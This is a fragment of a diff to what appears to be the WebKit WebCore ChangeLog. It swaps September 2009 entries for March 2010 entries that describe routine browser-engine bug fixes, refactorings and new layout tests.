-        (WebCore::RenderTextControlSingleLine::RenderTextControlSingleLine):
-        (WebCore::RenderTextControlSingleLine::updateFromElement):
-        * rendering/RenderTextControlSingleLine.h:
-        * wml/WMLInputElement.cpp:
-        (WebCore::WMLInputElement::setValue):
-        (WebCore::WMLInputElement::createRenderer):
-        * wml/WMLInputElement.h:
-
-2009-09-26  Shu Chang  <Chang.Shu@nokia.com>
-
-        Reviewed by Alexey Proskuryakov.
-
-        Optimize the code so only the text from start to end is scanned.
-        https://bugs.webkit.org/show_bug.cgi?id=29092
+        Moved implementations of window.btoa() and window.atob() from
+        JSDOMWindow to DOMWindow, and make V8DOMWindow use DOMWindow
+        functions instead of having a separate implementation. As a side effect, the
+        error message has changed from "Cannot decode base64" to one that
+        indicates DOM Exception, which is compatible to Firefox.
+        
+        Refactoring: window.btoa() and window.atob() should be implemented on DOMWindow
+        https://bugs.webkit.org/show_bug.cgi?id=35723
 
-        On a platform with webkit+Qt+Symbian, the parsing time for a 600K text
-        file improved from 400ms to 40ms (10x faster).
+        No new test. No new functionality.
 
-        * dom/Text.cpp:
-        (WebCore::Text::createWithLengthLimit):
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::JSDOMWindow::atob):
+        (WebCore::JSDOMWindow::btoa):
+        Moved conversion code to DOMWindow and invoke it. Argument
+        checking remains here.
+        
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::V8DOMWindow::atobCallback):
+        (WebCore::V8DOMWindow::btoaCallback):
+        Remove conversion code and call DOMWindow APIs. Although argument
+        checking remains here.
+        
+        * page/DOMWindow.cpp:
+        (WebCore::hasMultibyteCharacters):
+        (WebCore::DOMWindow::btoa):
+        (WebCore::DOMWindow::atob):
+        * page/DOMWindow.h:
+        Moved Conversion code from JSDOMWindow, modifing to fit JSC independent.
 
-2009-09-26  Xiaomei Ji  <xji@chromium.org>
+2010-03-06  Yuta Kitamura  <yutak@chromium.org>
 
         Reviewed by Eric Seidel.
 
-        This Patch fixes [chromium] the drop-down is always left-aligned even
-        for RTL element.
-        https://bugs.webkit.org/show_bug.cgi?id=29612
+        Fix decoration position in search input field.
 
-        For auto-complete, the items in drop-down should be right-aligned if
-        the directionality of <input> field is RTL.
-        For <select><option>, the items in drop-down should be right-aligned
-        if the directionality of <select> is RTL.
+        This patch fixes rendering of input field of "search" type, whose decoration
+        (loupe icon and close button) was wrongly positioned when the input field was
+        contained in a block with -webkit-transform property.
 
-        No automatic test is possible. Manual tests are added.
+        Chromium bug: http://crbug.com/20439
 
-        * manual-tests/autofill_alignment.html: Added.
-        * manual-tests/select_alignment.html: Added.
-        * platform/chromium/PopupMenuChromium.cpp:
-        (WebCore::PopupListBox::paintRow): Adjust the starting x-axis of text to
-        be paint if it should be right-aligned.
-
-2009-09-25  Dan Bernstein  <mitz@apple.com>
+        [Chromium] Decoration of "search" input field is wrongly rendered
+        https://bugs.webkit.org/show_bug.cgi?id=30245
 
-        Reviewed by Sam Weinig.
+        No new tests, since this patch fixes an existing test
+        (fast/forms/search-transformed.html) in Chromium layout tests.
 
-        REGRESSION (r48775) FontList.plist written by TOT WebKit causes Safari 4
-        to crash on launch
-        https://bugs.webkit.org/show_bug.cgi?id=29759
+        * rendering/RenderThemeChromiumSkia.cpp:
+        (WebCore::RenderThemeChromiumSkia::convertToPaintingRect): Added. This method
+        does almost the same thing as RenderThemeMac::convertToPaintingRect.
+        (WebCore::RenderThemeChromiumSkia::paintSearchFieldCancelButton): The position
+        of the icon should not depend on its absolute position.
+        (WebCore::RenderThemeChromiumSkia::paintSearchFieldResultsDecoration): Ditto.
+        (WebCore::RenderThemeChromiumSkia::paintSearchFieldResultsButton): Ditto.
+        * rendering/RenderThemeChromiumSkia.h: Added new method.
 
-        * platform/graphics/win/FontDatabase.cpp:
-        (WebCore::writeFontDatabaseToPlist): Reverted to saving the CG font DB
-        property list at the root of FontList.plist, but with an additional
-        key for the last value of the Fonts registry key.
-        (WebCore::populateFontDatabase): Pass the FontList.plist in its entirety
-        to populatFontDatabaseFromPlist.
+2010-03-06  Ilya Tikhonovsky  <loislo@chromium.org>
 
-2009-09-25  Kevin Ollivier  <kevino@theolliviers.com>
+        Reviewed by Pavel Feldman.
 
-        Build fix. Adding missing header files.
+        Web Inspector: in Timeline panel, click followed with mouse move resets popover.
 
-        * bindings/js/JSNamedNodeMapCustom.cpp:
+        https://bugs.webkit.org/show_bug.cgi?id=35827
 
-2009-09-25  David Kilzer  <ddkilzer@apple.com>
+        * inspector/front-end/Popover.js:
+        (WebInspector.PopoverHelper.prototype._mouseDown):
+        (WebInspector.PopoverHelper.prototype._mouseMove):
+        (WebInspector.PopoverHelper.prototype._handleMouseAction):
 
-        Part 1 of 2: <http://webkit.org/b/29753> DerivedSources.make broken for non-Mac targets
+2010-03-05  Tony Chang  <tony@chromium.org>
 
-        Reviewed by Darin Adler.
+        Reviewed by Eric Seidel.
 
-        * DerivedSources.make: Move tests for ENABLE_CONTEXT_MENUS,
-        ENABLE_DRAG_SUPPORT and ENABLE_INSPECTOR into Mac-only section.
+        https://bugs.webkit.org/show_bug.cgi?id=33247
+        Backwards cursor movement incorrect when previous block ends with <br>.
 
-2009-09-25  Adam Barth  <abarth@webkit.org>
+        If the cursor is trying to move into a node that has a height of 0,
+        skip over it.
 
-        Reviewed by Darin Adler.
+        Test: editing/execCommand/move-selection-back-line.html
 
-        Load blocks during unload should not affect targeted loads
-        https://bugs.webkit.org/show_bug.cgi?id=29747
+        * editing/visible_units.cpp:
+        (WebCore::previousLinePosition):
 
-        Move the check of the unload state after checking for targeted links.
+2010-03-05  Andrey Kosyakov  <caseq@chromium.org>
 
-        Test: fast/loader/unload-hyperlink-targeted.html
+        Reviewed by Eric Seidel.
 
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::loadURL):
+        Enable resource loading callback while loading worker scripts
+        https://bugs.webkit.org/show_bug.cgi?id=35744
 
-2009-09-25  Kenneth Russell  <kbr@google.com>
+        * workers/WorkerScriptLoader.cpp:
+        (WebCore::WorkerScriptLoader::loadSynchronously):
+        (WebCore::WorkerScriptLoader::loadAsynchronously):
 
-        Reviewed by Dimitri Glazkov.
+2010-03-05  Chris Fleizach  <cfleizach@apple.com>
 
-        [Chromium] Add initial V8 bindings for WebGL
-        https://bugs.webkit.org/show_bug.cgi?id=29664
+        Reviewed by Eric Seidel.
 
-        * WebCore.gypi:
-        * bindings/scripts/CodeGeneratorV8.pm:
-        * bindings/v8/DOMObjectsInclude.h:
-        * bindings/v8/DerivedSourcesAllInOne.cpp:
-        * bindings/v8/V8DOMWrapper.cpp:
-        (WebCore::V8DOMWrapper::getTemplate):
-        * bindings/v8/V8Index.cpp:
-        * bindings/v8/V8Index.h:
-        * bindings/v8/custom/V8CanvasArrayBufferCustom.cpp: Added.
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8CanvasArrayCustom.h: Added.
-        (WebCore::constructCanvasArray):
-        * bindings/v8/custom/V8CanvasByteArrayCustom.cpp: Added.
-        (WebCore::CALLBACK_FUNC_DECL):
-        (WebCore::INDEXED_PROPERTY_GETTER):
-        (WebCore::INDEXED_PROPERTY_SETTER):
-        * bindings/v8/custom/V8CanvasFloatArrayCustom.cpp: Added.
-        (WebCore::CALLBACK_FUNC_DECL):
-        (WebCore::INDEXED_PROPERTY_GETTER):
-        (WebCore::INDEXED_PROPERTY_SETTER):
-        * bindings/v8/custom/V8CanvasIntArrayCustom.cpp: Added.
-        (WebCore::CALLBACK_FUNC_DECL):
-        (WebCore::INDEXED_PROPERTY_GETTER):
-        (WebCore::INDEXED_PROPERTY_SETTER):
-        * bindings/v8/custom/V8CanvasRenderingContext3DCustom.cpp: Added.
-        (WebCore::jsArrayToFloatArray):
-        (WebCore::jsArrayToIntArray):
-        (WebCore::CALLBACK_FUNC_DECL):
-        (WebCore::):
-        (WebCore::vertexAttribAndUniformHelperf):
-        (WebCore::uniformHelperi):
-        (WebCore::uniformMatrixHelper):
-        * bindings/v8/custom/V8CanvasShortArrayCustom.cpp: Added.
-        (WebCore::CALLBACK_FUNC_DECL):
-        (WebCore::INDEXED_PROPERTY_GETTER):
-        (WebCore::INDEXED_PROPERTY_SETTER):
-        * bindings/v8/custom/V8CanvasUnsignedByteArrayCustom.cpp: Added.
-        (WebCore::CALLBACK_FUNC_DECL):
-        (WebCore::INDEXED_PROPERTY_GETTER):
-        (WebCore::INDEXED_PROPERTY_SETTER):
-        * bindings/v8/custom/V8CanvasUnsignedIntArrayCustom.cpp: Added.
-        (WebCore::CALLBACK_FUNC_DECL):
-        (WebCore::INDEXED_PROPERTY_GETTER):
-        (WebCore::INDEXED_PROPERTY_SETTER):
-        * bindings/v8/custom/V8CanvasUnsignedShortArrayCustom.cpp: Added.
-        (WebCore::CALLBACK_FUNC_DECL):
-        (WebCore::INDEXED_PROPERTY_GETTER):
-        (WebCore::INDEXED_PROPERTY_SETTER):
-        * bindings/v8/custom/V8CustomBinding.h:
-        * bindings/v8/custom/V8DocumentCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8HTMLCanvasElementCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * platform/graphics/GraphicsContext3D.h:
+        WAI-ARIA live region doesn't appear when <div> only has a <div> child
+        https://bugs.webkit.org/show_bug.cgi?id=35751
 
-2009-09-25  Jeremy Orlow  <jorlow@chromium.org>
+        Elements should not be ignored if they carry ARIA attributes in them.
 
-        This is breaking Chromium try bots, so I'm counting this as a build fix.
+        Test: platform/mac/accessibility/div-containing-div-with-aria.html
 
-        Add more svn:ignore exceptions.  On different platforms, these files are
-        generated with different case for WebCore.
+        * accessibility/AccessibilityObject.cpp:
+        (WebCore::AccessibilityObject::supportsARIAAttributes):
+        * accessibility/AccessibilityObject.h:
+        (WebCore::AccessibilityObject::supportsARIADropping):
+        (WebCore::AccessibilityObject::supportsARIADragging):
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::supportsARIADropping):
+        (WebCore::AccessibilityRenderObject::supportsARIADragging):
+        (WebCore::AccessibilityRenderObject::accessibilityIsIgnored):
+        * accessibility/AccessibilityRenderObject.h:
 
-        * WebCore.gyp: Changed property svn:ignore.
+2010-03-05  Dmitry Titov  <dimich@chromium.org>
 
-2009-09-25  Alexey Proskuryakov  <ap@apple.com>
+        Reviewed by Oliver Hunt.
 
-        Reverting r48767, as it broke Windows build in a non-trivial way.
+        Add a manual test for crash in DOMWindow::clearTimeout when DOMWindow is not connected to Frame
+        https://bugs.webkit.org/show_bug.cgi?id=32353
 
-        * bindings/js/JSAbstractWorkerCustom.cpp:
-        (WebCore::JSAbstractWorker::addEventListener):
-        (WebCore::JSAbstractWorker::removeEventListener):
-        * bindings/js/JSDOMApplicationCacheCustom.cpp:
-        (WebCore::JSDOMApplicationCache::addEventListener):
-        (WebCore::JSDOMApplicationCache::removeEventListener):
-        * bindings/js/JSDOMGlobalObject.cpp:
-        (WebCore::JSDOMGlobalObject::createJSAttributeEventListener):
-        * bindings/js/JSDOMWindowCustom.cpp:
-        (WebCore::JSDOMWindow::addEventListener):
-        (WebCore::JSDOMWindow::removeEventListener):
-        * bindings/js/JSEventListener.cpp:
-        (WebCore::JSEventListener::JSEventListener):
-        (WebCore::JSEventListener::jsFunction):
-        (WebCore::JSEventListener::markJSFunction):
-        (WebCore::JSEventListener::handleEvent):
-        (WebCore::JSEventListener::reportError):
-        * bindings/js/JSEventListener.h:
-        (WebCore::JSEventListener::create):
-        * bindings/js/JSEventSourceCustom.cpp:
-        (WebCore::JSEventSource::addEventListener):
-        (WebCore::JSEventSource::removeEventListener):
-        * bindings/js/JSLazyEventListener.cpp:
-        (WebCore::JSLazyEventListener::JSLazyEventListener):
-        (WebCore::JSLazyEventListener::jsFunction):
-        (WebCore::JSLazyEventListener::parseCode):
-        * bindings/js/JSLazyEventListener.h:
-        (WebCore::JSLazyEventListener::create):
-        * bindings/js/JSMessagePortCustom.cpp:
-        (WebCore::JSMessagePort::addEventListener):
-        (WebCore::JSMessagePort::removeEventListener):
-        * bindings/js/JSNodeCustom.cpp:
-        (WebCore::JSNode::addEventListener):
-        (WebCore::JSNode::removeEventListener):
-        * bindings/js/JSSVGElementInstanceCustom.cpp:
-        (WebCore::JSSVGElementInstance::addEventListener):
-        (WebCore::JSSVGElementInstance::removeEventListener):
-        * bindings/js/JSWorkerContextCustom.cpp:
-        (WebCore::JSWorkerContext::addEventListener):
-        (WebCore::JSWorkerContext::removeEventListener):
-        * bindings/js/JSXMLHttpRequestCustom.cpp:
-        (WebCore::JSXMLHttpRequest::addEventListener):
-        (WebCore::JSXMLHttpRequest::removeEventListener):
-        * bindings/js/JSXMLHttpRequestUploadCustom.cpp:
-        (WebCore::JSXMLHttpRequestUpload::addEventListener):
-        (WebCore::JSXMLHttpRequestUpload::removeEventListener):
-        * bindings/js/ScriptEventListener.cpp:
-        (WebCore::createAttributeEventListener):
-        * bindings/objc/ObjCEventListener.h:
-        * bindings/objc/ObjCEventListener.mm:
-        (WebCore::ObjCEventListener::handleEvent):
-        * bindings/scripts/CodeGeneratorJS.pm:
-        * dom/EventListener.h:
-        (WebCore::EventListener::reportError):
-        (WebCore::EventListener::jsFunction):
-        * dom/EventTarget.cpp:
-        (WebCore::EventTarget::fireEventListeners):
-        * inspector/InspectorDOMAgent.cpp:
-        (WebCore::InspectorDOMAgent::handleEvent):
-        * inspector/InspectorDOMAgent.h:
-        * inspector/InspectorDOMStorageResource.cpp:
-        (WebCore::InspectorDOMStorageResource::handleEvent):
-        * inspector/InspectorDOMStorageResource.h:
-        * loader/ImageDocument.cpp:
-        (WebCore::ImageEventListener::handleEvent):
-        * svg/animation/SVGSMILElement.cpp:
-        (WebCore::ConditionEventListener::handleEvent):
-        * workers/WorkerContext.cpp:
-        (WebCore::WorkerContext::reportException):
+        * manual-tests/clearTimeout-crash-bug29832.html: Added.
 
-2009-09-24  Tony Chang  <tony@chromium.org>
+2010-03-05  Dmitry Titov  <dimich@chromium.org>
 
         Reviewed by David Levin.
 
-        Add a gyp variable to allow building a debug webcore without debug
-        symbols.  This allows for faster compile, link, and gdb times.
-
-        https://bugs.webkit.org/show_bug.cgi?id=29721
-
-        No new tests, build config change.
-
-        * WebCore.gyp/WebCore.gyp:
-
-2009-09-25  Darin Fisher  <darin@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        Declare RegisteredEventListener as a class instead of a struct.
-        This fixes a warning in the Chromium build.
-
-        * dom/RegisteredEventListener.h:
-
-2009-09-25  Dan Bernstein  <mitz@apple.com>
-
-        Reviewed by Jon Honeycutt.
-
-        WebCore part of
-        <rdar://problem/7211635> 2 byte characters are displayed as garbaged
-        <rdar://problem/7212626> garbled/gibberish text (off-by-one)
-
-        When the Windows Fonts directory contains more than one font file for a
-        given font name, which of the fonts gets assigned to the name in the
-        Core Graphics font database was determined arbitrarily and did not
-        always match the font GDI used for the same font name. The mismatch
-        caused character-to-glyph mapping to use one font and glyph rendering to
-        use another.
-
-        The fix is to update the Core Graphics font database from the registry
-        entries (that reflect the name-to-font mapping that GDI uses) after
-        populating it with the result of scanning the Fonts directory. As a
-        consequence, the directory needs to be scanned at startup every time the
-        registry key changes, so the last value of the registry key is kept
-        in the property list on disk so that it could be compared to the current
-        value on startup.
-
-        * platform/graphics/win/FontDatabase.cpp:
-        (WebCore::populateFontDatabaseFromPlist): Now takes a property list as
-        a parameter and avoids round-tripping through XML by calling
-        wkAddFontsFromPlist() instead of wkAddFontsFromPlistRepresentation().
-        (WebCore::fontFilenamesFromRegistryKey):
-        (WebCore::cgFontDBKey):
-        (WebCore::writeFontDatabaseToPlist): Now takes the CG font DB property
-        list and a property list with the font filenames from the registry and
-        writes a dictionary with those property lists as values.
-        (WebCore::fontFilenamesFromRegistry): Added. Returns an array with the
-        values in the HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts
-        registry key.
-        (WebCore::populateFontDatabase): Changed to read the contents of the
-        Fonts registry key and compare it with the last-saved value from the
-        property list, and to call wkAddFontsFromRegistry() after populating the
-        CG font DB from the file system. Uses wkCreateFontsPlist() instead of
-        wkCreateFontsPlistRepresentation() to avoid round-tripping through XML.
-
-2009-09-25  Geoffrey Garen  <ggaren@apple.com>
-
-        Reviewed by Darin Adler.
+        [v8] Remove wrong assert in GC callback
+        https://bugs.webkit.org/show_bug.cgi?id=35757
 
-        Inlined some object creation code, including lexicalGlobalObject access
-        https://bugs.webkit.org/show_bug.cgi?id=29750
+        Test: fast/workers/wrapper-map-gc.html
 
-        * bindings/js/JSInspectorBackendCustom.cpp:
-        (WebCore::JSInspectorBackend::currentCallFrame):
-        * inspector/JavaScriptDebugServer.cpp:
-        (WebCore::JavaScriptDebugServer::hasBreakpoint): Updated for JavaScriptCore
-        API changes.
+        * bindings/v8/DOMData.h:
+        (WebCore::DOMData::handleWeakObject): remove ASSERT(isMainThread()), move another assert up to verify we are on the right thread.
 
-2009-09-25  Dave Hyatt  <hyatt@apple.com>
+2010-03-05  Alex Milowski  <alex@milowski.com>
 
-        Reviewed by Anders Carlsson.
+        Reviewed by Kenneth Rohde Christiansen.
 
-        https://bugs.webkit.org/show_bug.cgi?id=24399
-        Make @import work in user stylesheets.  The first bug was that the URL wasn't being set on the
-        user sheets themselves, so relative @import URLs couldn't resolve properly.  The second bug
-        was that the loads would be denied.  This is fixed by using the requestUserCSSStyleSheet method
-        instead of the normal request method.  In order to know when to do this, CSSStyleSheets now have
-        a propagated boolean, m_isUserStyleSheet, that lets them know if they are user stylesheets or not.
+        Added support for row layout with stretchy operators and
+        adjusted the over spacing for over and underover accordingly.
 
-        * css/CSSImportRule.cpp:
-        (WebCore::CSSImportRule::insertedIntoParent):
-        * css/CSSStyleSheet.cpp:
-        (WebCore::CSSStyleSheet::CSSStyleSheet):
-        * css/CSSStyleSheet.h:
-        (WebCore::CSSStyleSheet::setIsUserStyleSheet):
-        (WebCore::CSSStyleSheet::isUserStyleSheet):
-        * dom/Document.cpp:
-        (WebCore::Document::pageUserSheet):
-        (WebCore::Document::pageGroupUserSheets):
+        Tests: mathml/presentation/mo.xhtml
+               mathml/presentation/row.xhtml
 
-2009-09-25  Simon Fraser  <simon.fraser@apple.com>
+        * WebCore.xcodeproj/project.pbxproj:
+        * mathml/MathMLInlineContainerElement.cpp:
+        * mathml/MathMLTextElement.cpp:
+        * mathml/RenderMathMLMath.cpp: Added.
+        * mathml/RenderMathMLMath.h: Added.
+        * mathml/RenderMathMLOperator.cpp: Added.
+        * mathml/RenderMathMLOperator.h: Added.
+        * mathml/RenderMathMLRow.cpp: Added.
+        * mathml/RenderMathMLRow.h: Added.
+        * mathml/RenderMathMLUnderOver.cpp:
+        * mathml/mathtags.in:
+
+2010-03-05  Dean Jackson  <dino@apple.com>
 
-        Reviewed by Darin Adler.
+        Reviewed by Simon Fraser.
 
-        ASSERTION FAILED: !repaintContainer || repaintContainer == this
-        https://bugs.webkit.org/show_bug.cgi?id=29755
-        
-        It's possible for RenderObject::container() to return an object that is higher
-        in the hierarchy than the repaintContainer that is being used to repaint an
-        object. For example, this can happen when running an accelerated opacity
-        transition on an element with a position:absolute parent, and a position:absolute child.
-        
-        In this case we need to detect when RenderObject::container() will skip over
-        repaintContainer, and in that case adjust the coords to shift into repaintContainer's space.
+        https://bugs.webkit.org/show_bug.cgi?id=35772
+        Animation fill modes should be supported in the shorthand property
 
-        Test: compositing/repaint/opacity-between-absolute.html
+        Add CSSPropertyWebkitAnimationFillMode to the list of properties
+        evaluated in the -webkit-animation shorthand.
 
-        * rendering/RenderBox.cpp:
-        (WebCore::RenderBox::mapLocalToContainer):
-        (WebCore::RenderBox::computeRectForRepaint):
-        * rendering/RenderInline.cpp:
-        (WebCore::RenderInline::computeRectForRepaint):
-        * rendering/RenderObject.cpp:
-        (WebCore::RenderObject::container):
-        * rendering/RenderObject.h:
+        Test: animations/animation-shorthand.html
 
-2009-09-25  Simon Fraser  <simon.fraser@apple.com>
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::parseAnimationShorthand):
 
-        Reviewed by Darin Adler.
+2010-03-05  Dean Jackson  <dino@apple.com>
 
-        Crash with hardware accelerated rotation of a PDF image in a data URL
-        <rdar://problem/7250378>
-        
-        PDF images don't return a color space from CGImageGetColorSpace(),
-        so we need to null-check the return value before use.
+        Reviewed by Simon Fraser
 
-        Test: compositing/color-matching/pdf-image-match.html
+        https://bugs.webkit.org/show_bug.cgi?id=35815
+        Animation Fill Modes fail on Windows
 
+        * css/CSSComputedStyleDeclaration.cpp:
+        * css/CSSStyleSelector.cpp:
         * platform/graphics/mac/GraphicsLayerCA.mm:
-        (WebCore::GraphicsLayerCA::setContentsToImage):
-
-2009-09-25  Darin Adler  <darin@apple.com>
-
-        Reviewed by Geoffrey Garen.
-
-        Null-deref when first access to an Attr node is after its Element is destroyed
-        https://bugs.webkit.org/show_bug.cgi?id=29748
-
-        Test: fast/dom/Attr/access-after-element-destruction.html
-
-        * bindings/js/JSAttrCustom.cpp:
-        (WebCore::JSAttr::markChildren): Added. Keeps the ownerElement alive as
-        long as the Attr is alive.
-
-        * bindings/js/JSNamedNodeMapCustom.cpp:
-        (WebCore::JSNamedNodeMap::markChildren): Added. Keeps the Element alive as
-        long as the NamedNodeMap is alive.
-
-        * dom/Attr.idl: Added CustomMarkFunction attribute.
-
-        * dom/NamedAttrMap.cpp:
-        (WebCore::NamedNodeMap::getAttributeItem): Tweaked formatting.
-        (WebCore::NamedNodeMap::detachFromElement): Call clearAttributes so we don't
-        have attributes hanging around that might need an Attr node created; that way
-        we won't crash with a null-dereference trying to deal with one of them. This
-        can't happen when working with JavaScript since the Element will be kept
-        alive due to the change above.
-        (WebCore::NamedNodeMap::addAttribute): Fix function name in comment.
-        (WebCore::NamedNodeMap::removeAttribute): Removed unneeded "1" and added
-        missing braces.
-
-        * dom/NamedAttrMap.h: Made the element function public so it can be used by
-        the JavaScript binding to keep the Element alive.
-
-        * dom/NamedNodeMap.idl: Added CustomMarkFunction attribute.
-
-2009-09-24  Alexey Proskuryakov  <ap@apple.com>
-
-        Reviewed by Darin Adler and Sam Weinig.
-
-        Onclick not fired for an element copied with cloneContents() or cloneNode()
-        https://bugs.webkit.org/show_bug.cgi?id=25130
-
-        The change here is that JS event listeners don't keep a reference to a global object from
-        where they were created, and instead take it as a parameter when parsing source code. Also,
-        the listener creation won't fail just because it happens for an element in a frameless
-        document.
-        Thus, moving nodes between documents no longer results in having incorrect registered
-        lazy event listeners on them.
-
-        Tests: fast/events/attribute-listener-cloned-from-frameless-doc-context-2.html
-               fast/events/attribute-listener-cloned-from-frameless-doc-context.html
-               fast/events/attribute-listener-cloned-from-frameless-doc.xhtml
-               fast/events/attribute-listener-extracted-from-frameless-doc-context-2.html
-               fast/events/attribute-listener-extracted-from-frameless-doc-context.html
-
-        * bindings/js/JSEventListener.cpp:
-        (WebCore::JSEventListener::JSEventListener): Don't take a reference to JSDOMGlobalObject.
-        (WebCore::JSEventListener::jsFunction): Take ScriptExecutionContext as a parameter for
-        getting to JSDOMGlobalObject. It's not used in base class, but is in JSLazyEventListner.
-        (WebCore::JSEventListener::markJSFunction): Don't mark the global object.
-        (WebCore::JSEventListener::handleEvent): Get global object from ScriptExecutionContext.
-        (WebCore::JSEventListener::reportError): Ditto.
-
-        * bindings/js/JSEventListener.h: (WebCore::JSEventListener::create): Don't keep a reference
-        to JSDOMGlobalObject.
-
-        * bindings/js/JSLazyEventListener.cpp: (WebCore::JSLazyEventListener::parseCode): Listener
-        creation was split between this function and ScriptEventListener; moved it here, as JS
-        global object can be different now.
-
-        * bindings/js/JSLazyEventListener.h: (WebCore::JSLazyEventListener::create): Keep source URL,
-        which can not be determined at parsing time.
-
-        * bindings/js/ScriptEventListener.cpp: (WebCore::createAttributeEventListener): Moved code
-        for listener creation to JSLazyEventListener. XSSAuditor code remains here, because tests
-        expect that errors are logged at document parsing time, and because I don't know what other
-        side effects moving it vould have.
-
-        * dom/EventListener.h: handleEvent() and reportError() now take ScriptExecutionContext,
-        because JSC needs a global context here.
-
-        * bindings/js/JSAbstractWorkerCustom.cpp:
-        (WebCore::JSAbstractWorker::addEventListener):
-        (WebCore::JSAbstractWorker::removeEventListener):
-        * bindings/js/JSDOMApplicationCacheCustom.cpp:
-        (WebCore::JSDOMApplicationCache::addEventListener):
-        (WebCore::JSDOMApplicationCache::removeEventListener):
-        * bindings/js/JSDOMGlobalObject.cpp:
-        (WebCore::JSDOMGlobalObject::createJSAttributeEventListener):
-        * bindings/js/JSDOMWindowCustom.cpp:
-        (WebCore::JSDOMWindow::addEventListener):
-        (WebCore::JSDOMWindow::removeEventListener):
-        * bindings/js/JSEventSourceCustom.cpp:
-        (WebCore::JSEventSource::addEventListener):
-        (WebCore::JSEventSource::removeEventListener):
-        * bindings/js/JSMessagePortCustom.cpp:
-        (WebCore::JSMessagePort::addEventListener):
-        (WebCore::JSMessagePort::removeEventListener):
-        * bindings/js/JSNodeCustom.cpp:
-        (WebCore::JSNode::addEventListener):
-        (WebCore::JSNode::removeEventListener):
-        * bindings/js/JSSVGElementInstanceCustom.cpp:
-        (WebCore::JSSVGElementInstance::addEventListener):
-        (WebCore::JSSVGElementInstance::removeEventListener):
-        * bindings/js/JSWorkerContextCustom.cpp:
-        (WebCore::JSWorkerContext::addEventListener):
-        (WebCore::JSWorkerContext::removeEventListener):
-        * bindings/js/JSXMLHttpRequestCustom.cpp:
-        (WebCore::JSXMLHttpRequest::addEventListener):
-        (WebCore::JSXMLHttpRequest::removeEventListener):
-        * bindings/js/JSXMLHttpRequestUploadCustom.cpp:
-        (WebCore::JSXMLHttpRequestUpload::addEventListener):
-        (WebCore::JSXMLHttpRequestUpload::removeEventListener):
-        * bindings/objc/ObjCEventListener.h:
-        * bindings/objc/ObjCEventListener.mm:
-        (WebCore::ObjCEventListener::handleEvent):
-        * bindings/scripts/CodeGeneratorJS.pm:
-        * dom/EventTarget.cpp:
-        (WebCore::EventTarget::fireEventListeners):
-        * inspector/InspectorDOMAgent.cpp:
-        (WebCore::InspectorDOMAgent::handleEvent):
-        * inspector/InspectorDOMAgent.h:
-        * inspector/InspectorDOMStorageResource.cpp:
-        (WebCore::InspectorDOMStorageResource::handleEvent):
-        * inspector/InspectorDOMStorageResource.h:
-        * loader/ImageDocument.cpp:
-        (WebCore::ImageEventListener::handleEvent):
-        * svg/animation/SVGSMILElement.cpp:
-        (WebCore::ConditionEventListener::handleEvent):
-        * workers/WorkerContext.cpp:
-        (WebCore::WorkerContext::reportException):
-        Don't pass global object to JSEventListener::create(), which no longer needs it.
-        Note that some of these functions still have an early return for null global object, which
-        can probably be removed in a later patch.
-        Pass ScriptExecutionContext to EventListener methods that now need it.
-
-2009-09-25  Enrica Casucci  <enrica@apple.com>
-
-        Reviewed by Darin Adler, Dan Bernstein, Adele Peterson, and others.
-
-        Fix for https://bugs.webkit.org/show_bug.cgi?id=29740
-        <rdar://problem/7168738> Gmail: After changing a foreground text color, pressing return doesn't apply background to new line
-
-        Change the way style is preserved when inserting a new paragraph.
-        The original code handled insertion at the beginning and at the end of a paragraph as special
-        cases. The newly created paragraph contained a set of nodes generated starting from the
-        computed style of the insertion node. This approach has two problems:
-        1. if the insertion node has a non opaque background color and one of the parent element did have
-        a solid background color the new paragraph did not have the element with the solid color in the tree.
-        2. in some circumstances it generated more markup than the original paragraph had (a span with bold, italic,
-        background color and some font attribute was being reproduced as span bold italic font as separate tags.
-        The new approach is to recreate in the new paragraph the same hierarchy of nodes found in the
-        paragraph where the insertion point is.
-
-        Test: editing/inserting/insert-bg-font.html
-
-        * editing/InsertParagraphSeparatorCommand.cpp:
-        (WebCore::InsertParagraphSeparatorCommand::getAncestorsInsideBlock): retrieves the list of all the ancestors
-        between the insert node and the outer block.
-        (WebCore::InsertParagraphSeparatorCommand::cloneHierarchyUnderNewBlock): uses the list of ancestors to recreate
-        in the new paragraph the same element hierarchy present in the starting paragraph.
-        (WebCore::InsertParagraphSeparatorCommand::doApply): changed the code to handle the general case of insertion
-        in the middle of the paragraph to use the new methods. Changed the handling of the insertion at the beginning and
-        at the end of the paragraph to use the new methods instead of applying the calculated style.
-        * editing/InsertParagraphSeparatorCommand.h: added methods getAncestorsInsideBlock and cloneHierarchyUnderNewBlock.
-
-2009-09-25  Patrick Mueller  <Patrick_Mueller@us.ibm.com>
-
-        Reviewed by Timothy Hatcher.
+            - use new enum value
+        * platform/animation/Animation.h:
+            - change bitfield type
+        * rendering/style/RenderStyleConstants.h:
+            - add new enum for fill mode
 
-        Content-type parameters not taken into account when building form-data
-        https://bugs.webkit.org/show_bug.cgi?id=28970
+2010-03-05  Csaba Osztrogonác  <ossy@webkit.org>
 
-        existing manual test case extended with new tests
+        Unreviewed buildfix after r55593. (To fix Qt --minimal build.)
 
-        * English.lproj/localizedStrings.js:
-        * inspector/front-end/ResourceView.js:
-        (WebInspector.ResourceView.prototype._refreshFormData):
-        (WebInspector.ResourceView.prototype._refreshParms):
-        * manual-tests/inspector/display-form-data.html:
+        * bindings/js/JSDOMWindowCustom.cpp: Missing #if ENABLE(DATABASE) guard added.
 
-2009-09-25  Yuan Song  <song.yuan@ericsson.com>
+2010-03-05  Simon Fraser  <simon.fraser@apple.com>
 
         Reviewed by Darin Adler.
 
-        https://bugs.webkit.org/show_bug.cgi?id=14566
-
-        Raise SECURITY_ERR exception if an attempt is made to change document.domain to an invalid value.
-
-        Test: fast/js/invalid-domain-change-throws-exception.html
-
-        * dom/Document.cpp:
-        (WebCore::Document::setDomain):
-        * dom/Document.h:
-        * dom/Document.idl:
-
